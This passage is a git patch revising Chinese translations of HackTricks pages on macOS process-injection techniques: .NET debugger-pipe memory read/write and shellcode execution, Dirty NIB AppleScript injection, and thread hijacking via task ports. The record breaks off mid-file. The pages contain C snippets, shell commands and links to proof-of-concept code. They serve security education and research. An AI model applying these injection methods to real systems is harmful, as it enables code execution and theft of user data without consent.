From 5c84f14c71cbeece0eb4aae570ca7aca22f7ca01 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 19 Jul 2024 05:18:31 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-.net-applications-injection.md | 72 ++-- .../macos-proces-abuse/macos-dirty-nib.md | 98 +++--- .../macos-thread-injection-via-task-port.md | 134 ++++---- .../README.md | 78 ++--- .../macos-java-apps-injection.md | 51 +-- ...yld-hijacking-and-dyld_insert_libraries.md | 83 +++-- .../macos-ruby-applications-injection.md | 54 ++- .../macos-xattr-acls-extra-stuff.md | 151 ++++++--- .../macos-sandbox/README.md | 102 +++--- .../macos-default-sandbox-debug.md | 81 +++-- .../macos-office-sandbox-bypasses.md | 138 ++++---- .../macos-tcc-bypasses/macos-apple-scripts.md | 52 +-- .../macos-tcc/macos-tcc-payloads.md | 119 +++---- misc/references.md | 33 +- .../android-app-pentesting/adb-commands.md | 118 +++---- .../android-applications-basics.md | 307 +++++++++--------- .../android-app-pentesting/apk-decompilers.md | 62 ++-- .../content-protocol.md | 63 ++-- .../exploiting-a-debuggeable-applciation.md | 116 +++---- .../frida-tutorial/README.md | 163 +++------- .../intent-injection.md | 52 +-- .../make-apk-accept-ca-certificate.md | 45 +-- .../manual-deobfuscation.md | 55 ++-- .../react-native-application.md | 66 ++-- .../android-app-pentesting/smali-changes.md | 118 +++---- .../spoofing-your-location-in-play-store.md | 74 +++-- .../android-app-pentesting/tapjacking.md | 69 ++-- mobile-pentesting/cordova-apps.md | 60 ++-- .../basic-ios-testing-operations.md | 112 +++---- ...-entitlements-from-compiled-application.md | 56 ++-- .../ios-pentesting/ios-app-extensions.md | 70 ++-- .../ios-pentesting/ios-basics.md | 122 +++---- ...m-uri-handlers-deeplinks-custom-schemes.md | 60 ++-- .../ios-hooking-with-objection.md | 67 ++-- .../ios-pentesting/ios-protocol-handlers.md | 38 ++- .../ios-serialisation-and-encoding.md | 62 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 76 +++-- .../ios-pentesting/ios-uipasteboard.md | 77 ++--- .../ios-pentesting/ios-universal-links.md | 67 ++-- .../ios-pentesting/ios-webviews.md | 134 ++++---- mobile-pentesting/xamarin-apps.md | 68 ++-- ...0-network-data-management-protocol-ndmp.md | 38 ++- .../1080-pentesting-socks.md | 56 ++-- .../137-138-139-pentesting-netbios.md | 58 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 54 +-- .../3128-pentesting-squid.md | 58 ++-- .../3260-pentesting-iscsi.md | 74 +++-- .../3299-pentesting-saprouter.md | 64 ++-- .../3632-pentesting-distcc.md | 45 ++- .../3690-pentesting-subversion-svn-server.md | 36 +- ...ntesting-erlang-port-mapper-daemon-epmd.md | 54 +-- .../44134-pentesting-tiller-helm.md | 54 +-- .../44818-ethernetip.md | 36 +- .../47808-udp-bacnet.md | 40 ++- .../4840-pentesting-opc-ua.md | 48 +-- .../49-pentesting-tacacs+.md | 52 +-- .../5000-pentesting-docker-registry.md | 137 ++++---- ...060-50070-50075-50090-pentesting-hadoop.md | 48 +-- .../512-pentesting-rexec.md | 40 +-- .../515-pentesting-line-printer-daemon-lpd.md | 46 +-- .../5353-udp-multicast-dns-mdns.md | 76 ++--- .../5555-android-debug-bridge.md | 48 +-- .../5601-pentesting-kibana.md | 54 +-- .../5671-5672-pentesting-amqp.md | 64 ++-- .../584-pentesting-afp.md | 48 +-- .../5984-pentesting-couchdb.md | 144 ++++---- network-services-pentesting/623-udp-ipmi.md | 98 +++--- network-services-pentesting/69-udp-tftp.md | 46 +-- .../7-tcp-udp-pentesting-echo.md | 50 +-- .../873-pentesting-rsync.md | 62 ++-- .../9000-pentesting-fastcgi.md | 41 +-- .../9001-pentesting-hsqldb.md | 58 ++-- network-services-pentesting/9100-pjl.md | 42 +-- network-services-pentesting/cassandra.md | 44 +-- .../pentesting-264-check-point-firewall-1.md | 48 +-- ...ting-631-internet-printing-protocol-ipp.md | 44 +-- .../pentesting-compaq-hp-insight-manager.md | 36 +- .../pentesting-finger.md | 46 +-- ...entesting-jdwp-java-debug-wire-protocol.md | 80 ++--- .../pentesting-modbus.md | 36 +- .../pentesting-rlogin.md | 40 +-- network-services-pentesting/pentesting-rsh.md | 44 +-- 82 files changed, 3105 insertions(+), 2805 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index dd446a0eb..6d9e1c6b9 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# macOS .Net应用程序注入 +# macOS .Net 应用程序注入 + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} -**这是文章[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)的摘要。请查看获取更多详细信息!** +**这是文章 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) 的摘要。查看以获取更多细节!** -## .NET Core调试 +## .NET Core 调试 ### **建立调试会话** -在.NET中,调试器和被调试程序之间的通信由[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)管理。该组件为每个.NET进程设置两个命名管道,如[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中所示,这些管道通过[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)启动。这些管道的后缀为**`-in`**和**`-out`**。 +在 .NET 中,调试器与被调试程序之间的通信由 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) 管理。该组件为每个 .NET 进程设置两个命名管道,如 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) 所示,这些管道通过 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) 初始化。这些管道以 **`-in`** 和 **`-out`** 结尾。 -通过访问用户的**`$TMPDIR`**,可以找到用于调试.NET应用程序的调试FIFO。 +通过访问用户的 **`$TMPDIR`**,可以找到可用于调试 .Net 应用程序的调试 FIFO。 -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过以`MessageHeader`结构开头的`out`管道发送消息,详细信息请参阅.NET源代码: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) 负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过 `out` 管道发送以 `MessageHeader` 结构开头的消息,该结构在 .NET 源代码中详细说明: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -要请求一个新会话,需要填充这个结构,将消息类型设置为 `MT_SessionRequest`,将协议版本设置为当前版本: +要请求一个新会话,结构体被填充如下,将消息类型设置为 `MT_SessionRequest`,并将协议版本设置为当前版本: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -这个标头随后使用`write`系统调用发送到目标,接着是包含会话GUID的`sessionRequestData`结构体: +这个头部随后通过 `write` 系统调用发送到目标,后面跟着包含会话 GUID 的 `sessionRequestData` 结构: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -读取`out`管道上的操作确认了调试会话建立的成功或失败: +对 `out` 管道的读取操作确认调试会话建立的成功或失败: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ## 读取内存 -一旦建立了调试会话,可以使用[`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896)消息类型来读取内存。readMemory函数进行了详细说明,执行了发送读取请求和检索响应的必要步骤: +一旦建立了调试会话,就可以使用 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 消息类型读取内存。函数 readMemory 进行了详细说明,执行发送读取请求和检索响应所需的步骤: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -完整的概念验证(POC)可以在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。 +完整的概念验证(POC)可在 [这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) 获取。 ## 写入内存 -同样,可以使用`writeMemory`函数来写入内存。该过程涉及将消息类型设置为`MT_WriteMemory`,指定数据的地址和长度,然后发送数据: +类似地,可以使用 `writeMemory` 函数写入内存。该过程涉及将消息类型设置为 `MT_WriteMemory`,指定数据的地址和长度,然后发送数据: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,23 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -关联的POC在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)。 +相关的POC可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到。 -## .NET Core代码执行 +## .NET Core 代码执行 -要执行代码,需要识别具有rwx权限的内存区域,可以使用vmmap -pages来完成: +要执行代码,需要识别一个具有rwx权限的内存区域,这可以通过使用vmmap -pages:来完成。 ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -在.NET Core中,定位要覆盖的函数指针位置是必要的,这可以通过针对**动态函数表(DFT)**来实现。这个表在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中有详细说明,被运行时用于JIT编译辅助函数。 +定位一个覆盖函数指针的位置是必要的,在 .NET Core 中,这可以通过针对 **Dynamic Function Table (DFT)** 来实现。这个表在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中有详细说明,运行时使用它来进行 JIT 编译辅助函数。 -对于x64系统,可以使用签名搜索来找到`libcorclr.dll`中对符号`_hlpDynamicFuncTable`的引用。 +对于 x64 系统,可以使用签名搜索来找到 `libcorclr.dll` 中符号 `_hlpDynamicFuncTable` 的引用。 -`MT_GetDCB`调试器函数提供了有用的信息,包括一个辅助函数的地址`m_helperRemoteStartAddr`,指示了`libcorclr.dll`在进程内存中的位置。然后使用这个地址来开始搜索DFT,并用shellcode的地址覆盖一个函数指针。 +`MT_GetDCB` 调试器函数提供了有用的信息,包括一个辅助函数的地址 `m_helperRemoteStartAddr`,指示 `libcorclr.dll` 在进程内存中的位置。然后使用这个地址开始搜索 DFT,并用 shellcode 的地址覆盖一个函数指针。 -可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到用于注入到PowerShell的完整POC代码。 +注入 PowerShell 的完整 POC 代码可以在 [这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) 访问。 -## 参考资料 +## References * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index baa92b2af..6d4e9bfe8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,71 +1,87 @@ # macOS Dirty NIB +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} -**有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)。**以下是摘要: +**有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)。** 这里是一个总结: -NIB文件是苹果开发生态系统的一部分,用于定义应用程序中的**UI元素**及其交互。它们包含诸如窗口和按钮之类的序列化对象,并在运行时加载。尽管它们仍在使用中,但苹果现在倡导使用Storyboards来更全面地可视化UI流程。 +NIB 文件是苹果开发生态系统的一部分,旨在定义应用程序中的 **UI 元素** 及其交互。它们包含序列化对象,如窗口和按钮,并在运行时加载。尽管它们仍在使用,苹果现在提倡使用 Storyboards 以更全面地可视化 UI 流程。 -### NIB文件的安全问题 -需要注意的是**NIB文件可能存在安全风险**。它们有可能**执行任意命令**,而对应用程序中NIB文件的更改不会阻止Gatekeeper执行该应用程序,构成重大威胁。 +### NIB 文件的安全隐患 +需要注意的是,**NIB 文件可能构成安全风险**。它们有可能 **执行任意命令**,并且在应用程序中对 NIB 文件的更改不会阻止 Gatekeeper 执行该应用程序,构成重大威胁。 -### Dirty NIB注入过程 -#### 创建和设置NIB文件 +### Dirty NIB 注入过程 +#### 创建和设置 NIB 文件 1. **初始设置**: -- 使用XCode创建一个新的NIB文件。 -- 向界面添加一个对象,并将其类设置为`NSAppleScript`。 -- 通过用户定义的运行时属性配置初始`source`属性。 +- 使用 XCode 创建一个新的 NIB 文件。 +- 向界面添加一个对象,将其类设置为 `NSAppleScript`。 +- 通过用户定义的运行时属性配置初始 `source` 属性。 -2. **代码执行小工具**: -- 该设置便于按需运行AppleScript。 -- 集成一个按钮来激活`Apple Script`对象,特别触发`executeAndReturnError:`选择器。 +2. **代码执行工具**: +- 该设置便于按需运行 AppleScript。 +- 集成一个按钮以激活 `Apple Script` 对象,特别触发 `executeAndReturnError:` 选择器。 3. **测试**: -- 用于测试目的的简单Apple Script: +- 一个简单的 Apple Script 用于测试: ```bash set theDialogText to "PWND" display dialog theDialogText ``` -- 在XCode调试器中运行并单击按钮进行测试。 +- 通过在 XCode 调试器中运行并点击按钮进行测试。 -#### 针对应用程序的攻击(示例:Pages) +#### 目标应用程序(示例:Pages) 1. **准备**: -- 将目标应用程序(例如Pages)复制到一个单独的目录中(例如`/tmp/`)。 -- 启动应用程序以规避Gatekeeper问题并缓存它。 +- 将目标应用程序(例如,Pages)复制到一个单独的目录(例如,`/tmp/`)。 +- 启动该应用程序以绕过 Gatekeeper 问题并缓存它。 -2. **覆盖NIB文件**: -- 用精心制作的DirtyNIB文件替换现有的NIB文件(例如About Panel NIB)。 +2. **覆盖 NIB 文件**: +- 用制作的 DirtyNIB 文件替换现有的 NIB 文件(例如,关于面板 NIB)。 3. **执行**: -- 通过与应用程序交互(例如选择`About`菜单项)来触发执行。 +- 通过与应用程序交互(例如,选择 `关于` 菜单项)触发执行。 #### 概念验证:访问用户数据 -- 修改AppleScript以访问和提取用户数据,例如照片,而无需用户同意。 +- 修改 AppleScript 以访问和提取用户数据,例如照片,而无需用户同意。 -### 代码示例:恶意.xib文件 -- 访问并查看一个[**恶意.xib文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。 +### 代码示例:恶意 .xib 文件 +- 访问并查看 [**恶意 .xib 文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。 -### 处理启动约束 -- 启动约束阻止应用程序从意外位置(例如`/tmp`)执行。 -- 可以识别未受启动约束保护的应用程序,并针对它们进行NIB文件注入。 +### 解决启动约束 +- 启动约束阻止应用程序从意外位置(例如,`/tmp`)执行。 +- 可以识别未受启动约束保护的应用程序,并针对它们进行 NIB 文件注入。 -### 其他macOS保护措施 -从macOS Sonoma开始,限制了App捆绑包内部的修改。但是,早期的方法涉及: -1. 将应用程序复制到不同位置(例如`/tmp/`)。 -2. 重命名应用程序捆绑包中的目录以绕过初始保护。 -3. 运行应用程序以向Gatekeeper注册后,修改应用程序捆绑包(例如用Dirty.nib替换MainMenu.nib)。 -4. 将目录重新命名并重新运行应用程序以执行注入的NIB文件。 +### 其他 macOS 保护措施 +从 macOS Sonoma 开始,应用程序包内的修改受到限制。然而,早期的方法包括: +1. 将应用程序复制到不同的位置(例如,`/tmp/`)。 +2. 重命名应用程序包内的目录以绕过初始保护。 +3. 在运行应用程序以注册 Gatekeeper 后,修改应用程序包(例如,用 Dirty.nib 替换 MainMenu.nib)。 +4. 将目录重命名回去并重新运行应用程序以执行注入的 NIB 文件。 -**注意**:最近的macOS更新通过防止Gatekeeper缓存后的应用程序捆绑包内文件修改来减轻了此漏洞,使其失效。 +**注意**:最近的 macOS 更新通过防止在 Gatekeeper 缓存后修改应用程序包内的文件来减轻此漏洞,使其无效。 + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 8c3e391ae..8698bfccb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,18 +1,19 @@ -# macOS通过任务端口进行线程注入 +# macOS 通过任务端口进行线程注入 + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## 代码 @@ -22,41 +23,41 @@ ## 1. 线程劫持 -首先,在任务端口上调用**`task_threads()`**函数以从远程任务获取线程列表。选择一个线程进行劫持。这种方法不同于传统的代码注入方法,因为由于新的防护措施阻止了`thread_create_running()`,创建新的远程线程是被禁止的。 +最初,**`task_threads()`** 函数在任务端口上被调用,以从远程任务获取线程列表。选择一个线程进行劫持。这种方法与传统的代码注入方法不同,因为由于新的缓解措施阻止了 `thread_create_running()`,创建新的远程线程是被禁止的。 -为了控制线程,调用**`thread_suspend()`**来暂停其执行。 +为了控制线程,调用 **`thread_suspend()`**,暂停其执行。 -对远程线程允许的唯一操作涉及**停止**和**启动**它,**检索**和**修改**其寄存器值。通过将寄存器`x0`到`x7`设置为**参数**,配置**`pc`**以指向所需的函数,并激活线程来启动远程函数调用。确保线程在返回后不崩溃需要检测返回。 +在远程线程上允许的唯一操作是 **停止** 和 **启动** 它,**检索** 和 **修改** 其寄存器值。通过将寄存器 `x0` 到 `x7` 设置为 **参数**,配置 **`pc`** 以指向所需函数,并激活线程,来发起远程函数调用。确保线程在返回后不崩溃需要检测返回。 -一种策略涉及为远程线程**注册异常处理程序**,使用`thread_set_exception_ports()`,在函数调用之前将`lr`寄存器设置为无效地址。这会在函数执行后触发异常,向异常端口发送消息,从而使得可以检查线程状态以恢复返回值。另一种方法是从Ian Beer的triple\_fetch漏洞利用中采用,将`lr`设置为无限循环。然后持续监视线程的寄存器,直到**`pc`指向该指令**。 +一种策略是使用 `thread_set_exception_ports()` 为远程线程 **注册异常处理程序**,在函数调用之前将 `lr` 寄存器设置为无效地址。这会在函数执行后触发异常,向异常端口发送消息,使得可以检查线程的状态以恢复返回值。或者,采用 Ian Beer 的 triple_fetch 漏洞,将 `lr` 设置为无限循环。然后持续监控线程的寄存器,直到 **`pc` 指向该指令**。 -## 2. 用于通信的Mach端口 +## 2. 用于通信的 Mach 端口 -接下来的阶段涉及建立Mach端口以便与远程线程进行通信。这些端口在在任务之间传输任意发送和接收权限方面起着关键作用。 +接下来的阶段涉及建立 Mach 端口,以便与远程线程进行通信。这些端口在任务之间传输任意的发送和接收权限中起着重要作用。 -为了实现双向通信,需要创建两个Mach接收权限:一个在本地,另一个在远程任务中。随后,将每个端口的发送权限传输到对应的任务,实现消息交换。 +为了实现双向通信,创建两个 Mach 接收权限:一个在本地任务中,另一个在远程任务中。随后,将每个端口的发送权限转移到对应的任务,从而实现消息交换。 -关注本地端口,本地任务持有接收权限。使用`mach_port_allocate()`创建端口。挑战在于将发送权限传输到远程任务中。 +关注本地端口,接收权限由本地任务持有。该端口通过 `mach_port_allocate()` 创建。挑战在于将此端口的发送权限转移到远程任务中。 -一种策略涉及利用`thread_set_special_port()`将本地端口的发送权限放置在远程线程的`THREAD_KERNEL_PORT`中。然后,指示远程线程调用`mach_thread_self()`以检索发送权限。 +一种策略是利用 `thread_set_special_port()` 将本地端口的发送权限放置在远程线程的 `THREAD_KERNEL_PORT` 中。然后,指示远程线程调用 `mach_thread_self()` 以检索发送权限。 -对于远程端口,过程基本上是相反的。远程线程被指示通过`mach_reply_port()`生成一个Mach端口(由于其返回机制,`mach_port_allocate()`不适用)。在端口创建后,远程线程调用`mach_port_insert_right()`来建立发送权限。然后,使用`thread_set_special_port()`将此权限存储在内核中。回到本地任务,对远程线程使用`thread_get_special_port()`以获取远程任务中新分配的Mach端口的发送权限。 +对于远程端口,过程基本上是反向的。指示远程线程通过 `mach_reply_port()` 生成一个 Mach 端口(因为 `mach_port_allocate()` 不适合由于其返回机制)。在端口创建后,在远程线程中调用 `mach_port_insert_right()` 来建立发送权限。然后使用 `thread_set_special_port()` 将该权限存储在内核中。在本地任务中,使用 `thread_get_special_port()` 在远程线程上获取对新分配的 Mach 端口的发送权限。 -完成这些步骤将建立Mach端口,为双向通信奠定基础。 +完成这些步骤后,建立了 Mach 端口,为双向通信奠定了基础。 -## 3. 基本内存读写原语 +## 3. 基本内存读/写原语 -在本节中,重点是利用执行原语建立基本的内存读写原语。尽管在这个阶段,这些原语不会有太多用途,但这些初始步骤对于更多地控制远程进程至关重要。很快,它们将升级为更高级的版本。 +在本节中,重点是利用执行原语建立基本的内存读写原语。这些初步步骤对于获得对远程进程的更多控制至关重要,尽管此阶段的原语不会发挥太大作用。很快,它们将升级为更高级的版本。 -### 使用执行原语进行内存读写 +### 使用执行原语进行内存读取和写入 -目标是使用特定函数执行内存读取和写入。用于读取内存的函数具有以下结构: +目标是使用特定函数执行内存读取和写入。用于读取内存的函数类似于以下结构: ```c uint64_t 